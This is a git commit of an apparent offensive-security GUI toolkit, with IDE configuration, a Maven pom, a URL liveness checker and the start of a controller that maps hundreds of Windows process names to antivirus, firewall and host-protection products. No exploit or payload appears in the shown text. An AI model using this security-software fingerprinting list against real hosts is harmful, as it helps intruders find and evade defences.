This commit is contained in:
0x7eTeam 2024-01-17 11:15:14 +08:00
parent 7c2fba38fb
commit b761270698
82 changed files with 9448 additions and 0 deletions

8
.idea/.gitignore generated vendored Normal file
View File

@ -0,0 +1,8 @@
# 默认忽略的文件
/shelf/
/workspace.xml
# 基于编辑器的 HTTP 客户端请求
/httpRequests/
# Datasource local storage ignored files
/dataSources/
/dataSources.local.xml

29
.idea/artifacts/0x7eTeamTools_jar.xml generated Normal file
View File

@ -0,0 +1,29 @@
<component name="ArtifactManager">
<artifact type="jar" name="0x7eTeamTools:jar">
<output-path>$PROJECT_DIR$/out/artifacts/0x7eTeamTools_jar</output-path>
<root id="archive" name="0x7eTeamTools.jar">
<element id="module-output" name="0x7eTeamTools" />
<element id="extracted-dir" path="$MAVEN_REPOSITORY$/org/openjfx/javafx-graphics/11.0.2/javafx-graphics-11.0.2-win.jar" path-in-jar="/" />
<element id="extracted-dir" path="$MAVEN_REPOSITORY$/com/google/guava/guava/19.0/guava-19.0.jar" path-in-jar="/" />
<element id="extracted-dir" path="$MAVEN_REPOSITORY$/org/kordamp/bootstrapfx/bootstrapfx-core/0.4.0/bootstrapfx-core-0.4.0.jar" path-in-jar="/" />
<element id="extracted-dir" path="$MAVEN_REPOSITORY$/org/openjfx/javafx-fxml/11.0.2/javafx-fxml-11.0.2-win.jar" path-in-jar="/" />
<element id="extracted-dir" path="$MAVEN_REPOSITORY$/cn/hutool/hutool-http/5.8.16/hutool-http-5.8.16.jar" path-in-jar="/" />
<element id="extracted-dir" path="$MAVEN_REPOSITORY$/cn/hutool/hutool-core/5.8.16/hutool-core-5.8.16.jar" path-in-jar="/" />
<element id="extracted-dir" path="$MAVEN_REPOSITORY$/com/oracle/database/jdbc/ojdbc8/19.8.0.0/ojdbc8-19.8.0.0.jar" path-in-jar="/" />
<element id="extracted-dir" path="$MAVEN_REPOSITORY$/org/openjfx/javafx-fxml/11.0.2/javafx-fxml-11.0.2.jar" path-in-jar="/" />
<element id="extracted-dir" path="$MAVEN_REPOSITORY$/org/openjfx/javafx-base/11.0.2/javafx-base-11.0.2.jar" path-in-jar="/" />
<element id="extracted-dir" path="$MAVEN_REPOSITORY$/mysql/mysql-connector-java/8.0.26/mysql-connector-java-8.0.26.jar" path-in-jar="/" />
<element id="extracted-dir" path="$MAVEN_REPOSITORY$/org/openjfx/javafx-base/11.0.2/javafx-base-11.0.2-win.jar" path-in-jar="/" />
<element id="extracted-dir" path="$MAVEN_REPOSITORY$/com/alibaba/fastjson/1.2.78/fastjson-1.2.78.jar" path-in-jar="/" />
<element id="extracted-dir" path="$MAVEN_REPOSITORY$/com/google/protobuf/protobuf-java/3.11.4/protobuf-java-3.11.4.jar" path-in-jar="/" />
<element id="extracted-dir" path="$MAVEN_REPOSITORY$/log4j/log4j/1.2.17/log4j-1.2.17.jar" path-in-jar="/" />
<element id="extracted-dir" path="$MAVEN_REPOSITORY$/com/jfoenix/jfoenix/8.0.10/jfoenix-8.0.10.jar" path-in-jar="/" />
<element id="extracted-dir" path="$MAVEN_REPOSITORY$/org/openjfx/javafx-controls/11.0.2/javafx-controls-11.0.2.jar" path-in-jar="/" />
<element id="extracted-dir" path="$MAVEN_REPOSITORY$/org/openjfx/javafx-controls/11.0.2/javafx-controls-11.0.2-win.jar" path-in-jar="/" />
<element id="extracted-dir" path="$MAVEN_REPOSITORY$/de/jensd/fontawesomefx/8.9/fontawesomefx-8.9.jar" path-in-jar="/" />
<element id="extracted-dir" path="$MAVEN_REPOSITORY$/org/ini4j/ini4j/0.5.4/ini4j-0.5.4.jar" path-in-jar="/" />
<element id="extracted-dir" path="$MAVEN_REPOSITORY$/org/projectlombok/lombok/1.18.20/lombok-1.18.20.jar" path-in-jar="/" />
<element id="extracted-dir" path="$MAVEN_REPOSITORY$/org/openjfx/javafx-graphics/11.0.2/javafx-graphics-11.0.2.jar" path-in-jar="/" />
</root>
</artifact>
</component>

14
.idea/compiler.xml generated Normal file
View File

@ -0,0 +1,14 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="CompilerConfiguration">
<annotationProcessing>
<profile default="true" name="Default" enabled="true" />
<profile name="Maven default annotation processors profile" enabled="true">
<sourceOutputDir name="target/generated-sources/annotations" />
<sourceTestOutputDir name="target/generated-test-sources/test-annotations" />
<outputRelativeToContentRoot value="true" />
<module name="0x7eTeamTools" />
</profile>
</annotationProcessing>
</component>
</project>

7
.idea/encodings.xml generated Normal file
View File

@ -0,0 +1,7 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="Encoding">
<file url="file://$PROJECT_DIR$/src/main/java" charset="UTF-8" />
<file url="file://$PROJECT_DIR$/src/main/resources" charset="UTF-8" />
</component>
</project>

20
.idea/jarRepositories.xml generated Normal file
View File

@ -0,0 +1,20 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="RemoteRepositoriesConfiguration">
<remote-repository>
<option name="id" value="central" />
<option name="name" value="Central Repository" />
<option name="url" value="https://repo.maven.apache.org/maven2" />
</remote-repository>
<remote-repository>
<option name="id" value="central" />
<option name="name" value="Maven Central repository" />
<option name="url" value="https://repo1.maven.org/maven2" />
</remote-repository>
<remote-repository>
<option name="id" value="jboss.community" />
<option name="name" value="JBoss Community repository" />
<option name="url" value="https://repository.jboss.org/nexus/content/repositories/public/" />
</remote-repository>
</component>
</project>

13
.idea/misc.xml generated Normal file
View File

@ -0,0 +1,13 @@
<project version="4">
<component name="ExternalStorageConfigurationManager" enabled="true" />
<component name="MavenProjectsManager">
<option name="originalFiles">
<list>
<option value="$PROJECT_DIR$/pom.xml" />
</list>
</option>
</component>
<component name="ProjectRootManager" version="2" languageLevel="JDK_1_8" default="true" project-jdk-name="1.8" project-jdk-type="JavaSDK">
<output url="file://$PROJECT_DIR$/out" />
</component>
</project>

124
.idea/uiDesigner.xml generated Normal file
View File

@ -0,0 +1,124 @@
<?xml version="1.0" encoding="UTF-8"?>
<project version="4">
<component name="Palette2">
<group name="Swing">
<item class="com.intellij.uiDesigner.HSpacer" tooltip-text="Horizontal Spacer" icon="/com/intellij/uiDesigner/icons/hspacer.svg" removable="false" auto-create-binding="false" can-attach-label="false">
<default-constraints vsize-policy="1" hsize-policy="6" anchor="0" fill="1" />
</item>
<item class="com.intellij.uiDesigner.VSpacer" tooltip-text="Vertical Spacer" icon="/com/intellij/uiDesigner/icons/vspacer.svg" removable="false" auto-create-binding="false" can-attach-label="false">
<default-constraints vsize-policy="6" hsize-policy="1" anchor="0" fill="2" />
</item>
<item class="javax.swing.JPanel" icon="/com/intellij/uiDesigner/icons/panel.svg" removable="false" auto-create-binding="false" can-attach-label="false">
<default-constraints vsize-policy="3" hsize-policy="3" anchor="0" fill="3" />
</item>
<item class="javax.swing.JScrollPane" icon="/com/intellij/uiDesigner/icons/scrollPane.svg" removable="false" auto-create-binding="false" can-attach-label="true">
<default-constraints vsize-policy="7" hsize-policy="7" anchor="0" fill="3" />
</item>
<item class="javax.swing.JButton" icon="/com/intellij/uiDesigner/icons/button.svg" removable="false" auto-create-binding="true" can-attach-label="false">
<default-constraints vsize-policy="0" hsize-policy="3" anchor="0" fill="1" />
<initial-values>
<property name="text" value="Button" />
</initial-values>
</item>
<item class="javax.swing.JRadioButton" icon="/com/intellij/uiDesigner/icons/radioButton.svg" removable="false" auto-create-binding="true" can-attach-label="false">
<default-constraints vsize-policy="0" hsize-policy="3" anchor="8" fill="0" />
<initial-values>
<property name="text" value="RadioButton" />
</initial-values>
</item>
<item class="javax.swing.JCheckBox" icon="/com/intellij/uiDesigner/icons/checkBox.svg" removable="false" auto-create-binding="true" can-attach-label="false">
<default-constraints vsize-policy="0" hsize-policy="3" anchor="8" fill="0" />
<initial-values>
<property name="text" value="CheckBox" />
</initial-values>
</item>
<item class="javax.swing.JLabel" icon="/com/intellij/uiDesigner/icons/label.svg" removable="false" auto-create-binding="false" can-attach-label="false">
<default-constraints vsize-policy="0" hsize-policy="0" anchor="8" fill="0" />
<initial-values>
<property name="text" value="Label" />
</initial-values>
</item>
<item class="javax.swing.JTextField" icon="/com/intellij/uiDesigner/icons/textField.svg" removable="false" auto-create-binding="true" can-attach-label="true">
<default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1">
<preferred-size width="150" height="-1" />
</default-constraints>
</item>
<item class="javax.swing.JPasswordField" icon="/com/intellij/uiDesigner/icons/passwordField.svg" removable="false" auto-create-binding="true" can-attach-label="true">
<default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1">
<preferred-size width="150" height="-1" />
</default-constraints>
</item>
<item class="javax.swing.JFormattedTextField" icon="/com/intellij/uiDesigner/icons/formattedTextField.svg" removable="false" auto-create-binding="true" can-attach-label="true">
<default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1">
<preferred-size width="150" height="-1" />
</default-constraints>
</item>
<item class="javax.swing.JTextArea" icon="/com/intellij/uiDesigner/icons/textArea.svg" removable="false" auto-create-binding="true" can-attach-label="true">
<default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3">
<preferred-size width="150" height="50" />
</default-constraints>
</item>
<item class="javax.swing.JTextPane" icon="/com/intellij/uiDesigner/icons/textPane.svg" removable="false" auto-create-binding="true" can-attach-label="true">
<default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3">
<preferred-size width="150" height="50" />
</default-constraints>
</item>
<item class="javax.swing.JEditorPane" icon="/com/intellij/uiDesigner/icons/editorPane.svg" removable="false" auto-create-binding="true" can-attach-label="true">
<default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3">
<preferred-size width="150" height="50" />
</default-constraints>
</item>
<item class="javax.swing.JComboBox" icon="/com/intellij/uiDesigner/icons/comboBox.svg" removable="false" auto-create-binding="true" can-attach-label="true">
<default-constraints vsize-policy="0" hsize-policy="2" anchor="8" fill="1" />
</item>
<item class="javax.swing.JTable" icon="/com/intellij/uiDesigner/icons/table.svg" removable="false" auto-create-binding="true" can-attach-label="false">
<default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3">
<preferred-size width="150" height="50" />
</default-constraints>
</item>
<item class="javax.swing.JList" icon="/com/intellij/uiDesigner/icons/list.svg" removable="false" auto-create-binding="true" can-attach-label="false">
<default-constraints vsize-policy="6" hsize-policy="2" anchor="0" fill="3">
<preferred-size width="150" height="50" />
</default-constraints>
</item>
<item class="javax.swing.JTree" icon="/com/intellij/uiDesigner/icons/tree.svg" removable="false" auto-create-binding="true" can-attach-label="false">
<default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3">
<preferred-size width="150" height="50" />
</default-constraints>
</item>
<item class="javax.swing.JTabbedPane" icon="/com/intellij/uiDesigner/icons/tabbedPane.svg" removable="false" auto-create-binding="true" can-attach-label="false">
<default-constraints vsize-policy="3" hsize-policy="3" anchor="0" fill="3">
<preferred-size width="200" height="200" />
</default-constraints>
</item>
<item class="javax.swing.JSplitPane" icon="/com/intellij/uiDesigner/icons/splitPane.svg" removable="false" auto-create-binding="false" can-attach-label="false">
<default-constraints vsize-policy="3" hsize-policy="3" anchor="0" fill="3">
<preferred-size width="200" height="200" />
</default-constraints>
</item>
<item class="javax.swing.JSpinner" icon="/com/intellij/uiDesigner/icons/spinner.svg" removable="false" auto-create-binding="true" can-attach-label="true">
<default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1" />
</item>
<item class="javax.swing.JSlider" icon="/com/intellij/uiDesigner/icons/slider.svg" removable="false" auto-create-binding="true" can-attach-label="false">
<default-constraints vsize-policy="0" hsize-policy="6" anchor="8" fill="1" />
</item>
<item class="javax.swing.JSeparator" icon="/com/intellij/uiDesigner/icons/separator.svg" removable="false" auto-create-binding="false" can-attach-label="false">
<default-constraints vsize-policy="6" hsize-policy="6" anchor="0" fill="3" />
</item>
<item class="javax.swing.JProgressBar" icon="/com/intellij/uiDesigner/icons/progressbar.svg" removable="false" auto-create-binding="true" can-attach-label="false">
<default-constraints vsize-policy="0" hsize-policy="6" anchor="0" fill="1" />
</item>
<item class="javax.swing.JToolBar" icon="/com/intellij/uiDesigner/icons/toolbar.svg" removable="false" auto-create-binding="false" can-attach-label="false">
<default-constraints vsize-policy="0" hsize-policy="6" anchor="0" fill="1">
<preferred-size width="-1" height="20" />
</default-constraints>
</item>
<item class="javax.swing.JToolBar$Separator" icon="/com/intellij/uiDesigner/icons/toolbarSeparator.svg" removable="false" auto-create-binding="false" can-attach-label="false">
<default-constraints vsize-policy="0" hsize-policy="0" anchor="0" fill="1" />
</item>
<item class="javax.swing.JScrollBar" icon="/com/intellij/uiDesigner/icons/scrollbar.svg" removable="false" auto-create-binding="true" can-attach-label="false">
<default-constraints vsize-policy="6" hsize-policy="0" anchor="0" fill="2" />
</item>
</group>
</component>
</project>

1
conf/config.ini Normal file
View File

@ -0,0 +1 @@

View File

@ -0,0 +1,27 @@
#!/usr/bin/python3
# -*- coding:utf-8 -*-
import requests,sys
requests.urllib3.disable_warnings()
proxies = {
'http': 'http://127.0.0.1:7890',
'https': 'http://127.0.0.1:7890'
}
def main(url):
headers = {'Connection': 'keep-alive',
'Cache-Control': 'max-age=0',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'en-US,en;q=0.9,fr;q=0.8',
'referer': 'www.google.com'}
req = requests.get(url,timeout=20,headers=headers,verify=False)
if req.status_code == 200:
print("存活")
else:
print(str(req.status_code)+"失败")
main(sys.argv[1])

BIN
lib/jfoenix-8.0.10.jar Normal file

Binary file not shown.

130
pom.xml Normal file
View File

@ -0,0 +1,130 @@
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.0x7eTeamTools</groupId>
<artifactId>0x7eTeamTools</artifactId>
<version>1.1-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<!-- https://mvnrepository.com/artifact/org.openjfx/javafx-controls -->
<dependency>
<groupId>org.openjfx</groupId>
<artifactId>javafx-controls</artifactId>
<version>11.0.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.openjfx/javafx-fxml -->
<dependency>
<groupId>org.openjfx</groupId>
<artifactId>javafx-fxml</artifactId>
<version>11.0.2</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.kordamp.bootstrapfx/bootstrapfx-core -->
<dependency>
<groupId>org.kordamp.bootstrapfx</groupId>
<artifactId>bootstrapfx-core</artifactId>
<version>0.4.0</version>
</dependency>
<dependency>
<groupId>com.jfoenix</groupId>
<artifactId>jfoenix</artifactId>
<version>8.0.10</version>
</dependency>
<!-- https://mvnrepository.com/artifact/com.jfoenix/jfoenix -->
<dependency>
<groupId>de.jensd</groupId>
<artifactId>fontawesomefx</artifactId>
<version>8.9</version>
</dependency>
<dependency>
<groupId>com.google.guava</groupId>
<artifactId>guava</artifactId>
<version>19.0</version>
</dependency>
<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.78</version>
</dependency>
<!-- log4j support -->
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<version>1.2.17</version>
</dependency>
<dependency>
<groupId>org.ini4j</groupId>
<artifactId>ini4j</artifactId>
<version>0.5.4</version>
</dependency>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.26</version>
</dependency>
<dependency>
<groupId>com.oracle.database.jdbc</groupId>
<artifactId>ojdbc8</artifactId>
<version>19.8.0.0</version>
</dependency>
<dependency>
<groupId>cn.hutool</groupId>
<artifactId>hutool-http</artifactId>
<version>5.8.16</version>
</dependency>
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
<version>1.18.20</version>
<scope>compile</scope>
</dependency>
</dependencies>
<build>
<pluginManagement><!-- lock down plugins versions to avoid using Maven defaults (may be moved to parent pom) -->
<plugins>
<!-- 打包依赖包到jar中 -->
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<!-- <version>3.3.0</version>-->
<configuration>
<archive>
<manifest>
<mainClass>com.sec421.Main</mainClass>
</manifest>
</archive>
<!-- get all project dependencies -->
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
<!-- MainClass in mainfest make a executable jar -->
<!-- 运行文件名 -->
<finalName>0x7eTeamTools</finalName>
</configuration>
</plugin>
</plugins>
</pluginManagement>
</build>
</project>

View File

@ -0,0 +1,30 @@
package com.sec421;
/**
* @author 0x421
* @date 2023/12/28 11:20
* @github https://github.com/0x7eTeam
*/
import javafx.application.Application;
import javafx.fxml.FXMLLoader;
import javafx.scene.Parent;
import javafx.scene.Scene;
import javafx.scene.image.Image;
import javafx.stage.Stage;
public class Main extends Application {
@Override
public void start(Stage primaryStage) throws Exception{
Parent root = FXMLLoader.load(getClass().getClassLoader().getResource("fxml/gui.fxml"));
primaryStage.setTitle("0x7eTeamTools v1.1 By 陆泽");
// primaryStage.setResizable(false);
primaryStage.setScene(new Scene(root));
primaryStage.getIcons().add(new Image(getClass().getClassLoader().getResource("img/logo_2256.gif").toString()));
primaryStage.show();
}
public static void main(String[] args) {
launch(args);
}
}

View File

@ -0,0 +1,25 @@
package com.sec421;
import cn.hutool.http.HttpRequest;
import com.sec421.controller.js.JsController;
import com.sec421.tools.Tools;
import java.util.List;
import java.util.Set;
public class Test {
public static void main(String[] args) {
String html = " <div class=\"result-molecule new-pmd\"\n" +
" tpl=\"app/rs\"\n" +
" m-name=\"molecules/app/rs/result_6b2d4b0\"\n" +
" m-path=\"../../pss.bdstatic.com/r/www/cache/static/molecules/app/rs/result_6b2d4b0\"\n" +
" m-path=\"/pss.bdstatic.com/r/www/cache/static/molecules/app/rs/result_6b2d4b0\"\n" +
" m-path=\"./pss.bdstatic.com/r/www/cache/static/molecules/app/rs/result_6b2d4b0\"\n" +
" data-cost={\"renderCost\":\"0.2\",\"dataCost\":0}\n" +
" >";
System.out.println(html);
Set<String> strings = Tools.extractJsInterface(html);
System.out.println(strings);
}
}

View File

@ -0,0 +1,567 @@
package com.sec421.controller.baseTools;
/**
* @author 0x421
* @date 2023/12/28 11:20
* @github https://github.com/0x7eTeam
*/
import javafx.scene.control.TextArea;
import java.util.HashMap;
public class AVRecognizeController {
public void AVCheck(TextArea textArea, String avstr){
HashMap<String, String> avMap = new HashMap<>();
avMap.put("360tray.exe", "360安全卫士-实时保护");
avMap.put("360safe.exe", "360安全卫士-主程序");
avMap.put("ZhuDongFangYu.exe", "360安全卫士-主动防御");
avMap.put("360sd.exe", "360杀毒");
avMap.put("a2guard.exe", "a-squared杀毒");
avMap.put("ad-watch.exe", "Lavasoft杀毒");
avMap.put("cleaner8.exe", "The Cleaner杀毒");
avMap.put("vba32lder.exe", "vb32杀毒");
avMap.put("MongoosaGUI.exe", "Mongoosa杀毒");
avMap.put("CorantiControlCenter32.exe", "Coranti2012杀毒");
avMap.put("F-PROT.exe", "F-Prot AntiVirus");
avMap.put("CMCTrayIcon.exe", "CMC杀毒");
avMap.put("K7TSecurity.exe", "K7杀毒");
avMap.put("UnThreat.exe", "UnThreat杀毒");
avMap.put("CKSoftShiedAntivirus4.exe", "Shield Antivirus杀毒");
avMap.put("AVWatchService.exe", "VIRUSfighter杀毒");
avMap.put("ArcaTasksService.exe", "ArcaVir杀毒");
avMap.put("iptray.exe", "Immunet杀毒");
avMap.put("PSafeSysTray.exe", "PSafe杀毒");
avMap.put("nspupsvc.exe", "nProtect杀毒");
avMap.put("SpywareTerminatorShield.exe", "SpywareTerminator反间谍软件");
avMap.put("BKavService.exe", "Bkav杀毒");
avMap.put("MsMpEng.exe", "Microsoft Security Essentials");
avMap.put("SBAMSvc.exe", "VIPRE");
avMap.put("ccSvcHst.exe", "Norton杀毒");
avMap.put("f-secure.exe", "冰岛");
avMap.put("avp.exe", "Kaspersky");
avMap.put("KvMonXP.exe", "江民杀毒");
avMap.put("RavMonD.exe", "瑞星杀毒");
avMap.put("Mcshield.exe", "McAfee");
avMap.put("Tbmon.exe", "McAfee");
avMap.put("Frameworkservice.exe", "McAfee");
avMap.put("egui.exe", "ESET NOD32");
avMap.put("ekrn.exe", "ESET NOD32");
avMap.put("eguiProxy.exe", "ESET NOD32");
avMap.put("kxetray.exe", "金山毒霸");
avMap.put("knsdtray.exe", "可牛杀毒");
avMap.put("TMBMSRV.exe", "趋势杀毒");
avMap.put("avcenter.exe", "Avira(小红伞)");
avMap.put("avguard.exe", "Avira(小红伞)");
avMap.put("avgnt.exe", "Avira(小红伞)");
avMap.put("sched.exe", "Avira(小红伞)");
avMap.put("ashDisp.exe", "Avast网络安全");
avMap.put("rtvscan.exe", "诺顿杀毒");
avMap.put("ccapp.exe", "SymantecNorton");
avMap.put("NPFMntor.exe", "Norton杀毒软件");
avMap.put("ccSetMgr.exe", "赛门铁克");
avMap.put("ccRegVfy.exe", "Norton杀毒软件");
avMap.put("ksafe.exe", "金山卫士");
avMap.put("QQPCRTP.exe", "QQ电脑管家");
avMap.put("avgwdsvc.exe", "AVG杀毒");
avMap.put("QUHLPSVC.exe", "QUICK HEAL杀毒");
avMap.put("mssecess.exe", "微软杀毒");
avMap.put("SavProgress.exe", "Sophos杀毒");
avMap.put("SophosUI.exe", "Sophos杀毒");
avMap.put("SophosFS.exe", "Sophos杀毒");
avMap.put("SophosHealth.exe", "Sophos杀毒");
avMap.put("SophosSafestore64.exe", "Sophos杀毒");
avMap.put("SophosCleanM.exe", "Sophos杀毒");
avMap.put("fsavgui.exe", "F-Secure杀毒");
avMap.put("vsserv.exe", "比特梵德");
avMap.put("remupd.exe", "熊猫卫士");
avMap.put("FortiTray.exe", "飞塔");
avMap.put("safedog.exe", "安全狗");
avMap.put("parmor.exe", "木马克星");
avMap.put("Iparmor.exe.exe", "木马克星");
avMap.put("beikesan.exe", "贝壳云安全");
avMap.put("KSWebShield.exe", "金山网盾");
avMap.put("TrojanHunter.exe", "木马猎手");
avMap.put("GG.exe", "巨盾网游安全盾");
avMap.put("adam.exe", "绿鹰安全精灵");
avMap.put("AST.exe", "超级巡警");
avMap.put("ananwidget.exe", "墨者安全专家");
avMap.put("AVK.exe", "AntiVirusKit");
avMap.put("avg.exe", "AVG Anti-Virus");
avMap.put("spidernt.exe", "Dr.web");
avMap.put("avgaurd.exe", "Avira Antivir");
avMap.put("vsmon.exe", "Zone Alarm");
avMap.put("cpf.exe", "Comodo");
avMap.put("outpost.exe", "Outpost Firewall");
avMap.put("rfwmain.exe", "瑞星防火墙");
avMap.put("kpfwtray.exe", "金山网镖");
avMap.put("FYFireWall.exe", "风云防火墙");
avMap.put("MPMon.exe", "微点主动防御");
avMap.put("pfw.exe", "天网防火墙");
avMap.put("BaiduSdSvc.exe", "百度杀毒-服务进程");
avMap.put("BaiduSdTray.exe", "百度杀毒-托盘进程");
avMap.put("BaiduSd.exe", "百度杀毒-主程序");
avMap.put("SafeDogGuardCenter.exe", "安全狗");
avMap.put("safedogupdatecenter.exe", "安全狗");
avMap.put("safedogguardcenter.exe", "安全狗");
avMap.put("SafeDogSiteIIS.exe", "安全狗");
avMap.put("SafeDogTray.exe", "安全狗");
avMap.put("SafeDogServerUI.exe", "安全狗");
avMap.put("D_Safe_Manage.exe", "D盾");
avMap.put("d_manage.exe", "D盾");
avMap.put("yunsuo_agent_service.exe", "云锁");
avMap.put("yunsuo_agent_daemon.exe", "云锁");
avMap.put("HwsPanel.exe", "护卫神");
avMap.put("hws_ui.exe", "护卫神");
avMap.put("hws.exe", "护卫神");
avMap.put("hwsd.exe", "护卫神");
avMap.put("hipsdaemon.exe", "火绒");
avMap.put("hipstray.exe", "火绒");
avMap.put("wsctrl.exe", "火绒");
avMap.put("usysdiag.exe", "火绒");
avMap.put("SPHINX.exe", "SPHINX防火墙");
avMap.put("bddownloader.exe", "百度卫士");
avMap.put("baiduansvx.exe", "百度卫士-主进程");
avMap.put("AvastUI.exe", "Avast!5主程序");
avMap.put("emet_agent.exe", "EMET");
avMap.put("emet_service.exe", "EMET");
avMap.put("firesvc.exe", "McAfee");
avMap.put("firetray.exe", "McAfee");
avMap.put("hipsvc.exe", "McAfee");
avMap.put("mfevtps.exe", "McAfee");
avMap.put("mcafeefire.exe", "McAfee");
avMap.put("scan32.exe", "McAfee");
avMap.put("shstat.exe", "McAfee");
avMap.put("vstskmgr.exe", "McAfee");
avMap.put("engineserver.exe", "McAfee");
avMap.put("mfeann.exe", "McAfee");
avMap.put("mcscript.exe", "McAfee");
avMap.put("updaterui.exe", "McAfee");
avMap.put("udaterui.exe", "McAfee");
avMap.put("naprdmgr.exe", "McAfee");
avMap.put("cleanup.exe", "McAfee");
avMap.put("cmdagent.exe", "McAfee");
avMap.put("frminst.exe", "McAfee");
avMap.put("mcscript_inuse.exe", "McAfee");
avMap.put("mctray.exe", "McAfee");
avMap.put("_avp32.exe", "卡巴斯基");
avMap.put("_avpcc.exe", "卡巴斯基");
avMap.put("_avpm.exe", "卡巴斯基");
avMap.put("aAvgApi.exe", "AVG");
avMap.put("ackwin32.exe", "已知杀软进程,名称暂未收录");
avMap.put("alertsvc.exe", "Norton AntiVirus");
avMap.put("alogserv.exe", "McAfee VirusScan");
avMap.put("anti-trojan.exe", "Anti-Trojan Elite");
avMap.put("arr.exe", "Application Request Route");
avMap.put("atguard.exe", "AntiVir");
avMap.put("atupdater.exe", "已知杀软进程,名称暂未收录");
avMap.put("atwatch.exe", "Mustek");
avMap.put("au.exe", "NSIS");
avMap.put("aupdate.exe", "Symantec");
avMap.put("auto-protect.nav80try.exe", "已知杀软进程,名称暂未收录");
avMap.put("autodown.exe", "AntiVirus AutoUpdater");
avMap.put("avconsol.exe", "McAfee");
avMap.put("avgcc32.exe", "AVG");
avMap.put("avgctrl.exe", "AVG");
avMap.put("avgemc.exe", "AVG");
avMap.put("avgrsx.exe", "AVG");
avMap.put("avgserv.exe", "AVG");
avMap.put("avgserv9.exe", "AVG");
avMap.put("avgw.exe", "AVG");
avMap.put("avkpop.exe", "G DATA SOFTWARE AG");
avMap.put("avkserv.exe", "G DATA SOFTWARE AG");
avMap.put("avkservice.exe", "G DATA SOFTWARE AG");
avMap.put("avkwctl9.exe", "G DATA SOFTWARE AG");
avMap.put("avltmain.exe", "Panda Software Aplication");
avMap.put("avnt.exe", "H+BEDV Datentechnik GmbH");
avMap.put("avp32.exe", "Kaspersky Anti-Virus");
avMap.put("avpcc.exe", " Kaspersky AntiVirus");
avMap.put("avpdos32.exe", " Kaspersky AntiVirus");
avMap.put("avpm.exe", " Kaspersky AntiVirus");
avMap.put("avptc32.exe", " Kaspersky AntiVirus");
avMap.put("avpupd.exe", " Kaspersky AntiVirus");
avMap.put("avsynmgr.exe", "McAfee");
avMap.put("avwin.exe", " H+BEDV");
avMap.put("bargains.exe", "Exact Advertising SpyWare");
avMap.put("beagle.exe", "Avast");
avMap.put("blackd.exe", "BlackICE");
avMap.put("blackice.exe", "BlackICE");
avMap.put("blink.exe", "micromedia");
avMap.put("blss.exe", "CBlaster");
avMap.put("bootwarn.exe", "Symantec");
avMap.put("bpc.exe", "Grokster");
avMap.put("brasil.exe", "Exact Advertising");
avMap.put("ccevtmgr.exe", "Norton Internet Security");
avMap.put("cdp.exe", "CyberLink Corp.");
avMap.put("cfd.exe", "Motive Communications");
avMap.put("cfgwiz.exe", " Norton AntiVirus");
avMap.put("claw95.exe", "已知杀软进程,名称暂未收录");
avMap.put("claw95cf.exe", "已知杀软进程,名称暂未收录");
avMap.put("clean.exe", "windows流氓软件清理大师");
avMap.put("cleaner.exe", "windows流氓软件清理大师");
avMap.put("cleaner3.exe", "windows流氓软件清理大师");
avMap.put("cleanpc.exe", "windows流氓软件清理大师");
avMap.put("cpd.exe", "McAfee");
avMap.put("ctrl.exe", "已知杀软进程,名称暂未收录");
avMap.put("cv.exe", "已知杀软进程,名称暂未收录");
avMap.put("defalert.exe", "Symantec");
avMap.put("defscangui.exe", "Symantec");
avMap.put("defwatch.exe", "Norton Antivirus");
avMap.put("doors.exe", "已知杀软进程,名称暂未收录");
avMap.put("dpf.exe", "已知杀软进程,名称暂未收录");
avMap.put("dpps2.exe", "PanicWare");
avMap.put("dssagent.exe", "Broderbund");
avMap.put("ecengine.exe", "已知杀软进程,名称暂未收录");
avMap.put("emsw.exe", "Alset Inc");
avMap.put("ent.exe", "已知杀软进程,名称暂未收录");
avMap.put("espwatch.exe", "已知杀软进程,名称暂未收录");
avMap.put("ethereal.exe", "RationalClearCase");
avMap.put("exe.avxw.exe", "已知杀软进程,名称暂未收录");
avMap.put("expert.exe", "已知杀软进程,名称暂未收录");
avMap.put("f-prot95.exe", "已知杀软进程,名称暂未收录");
avMap.put("fameh32.exe", "F-Secure");
avMap.put("fast.exe", " FastUsr");
avMap.put("fch32.exe", "F-Secure");
avMap.put("fih32.exe", "F-Secure");
avMap.put("findviru.exe", "F-Secure");
avMap.put("firewall.exe", "AshampooSoftware");
avMap.put("fnrb32.exe", "F-Secure");
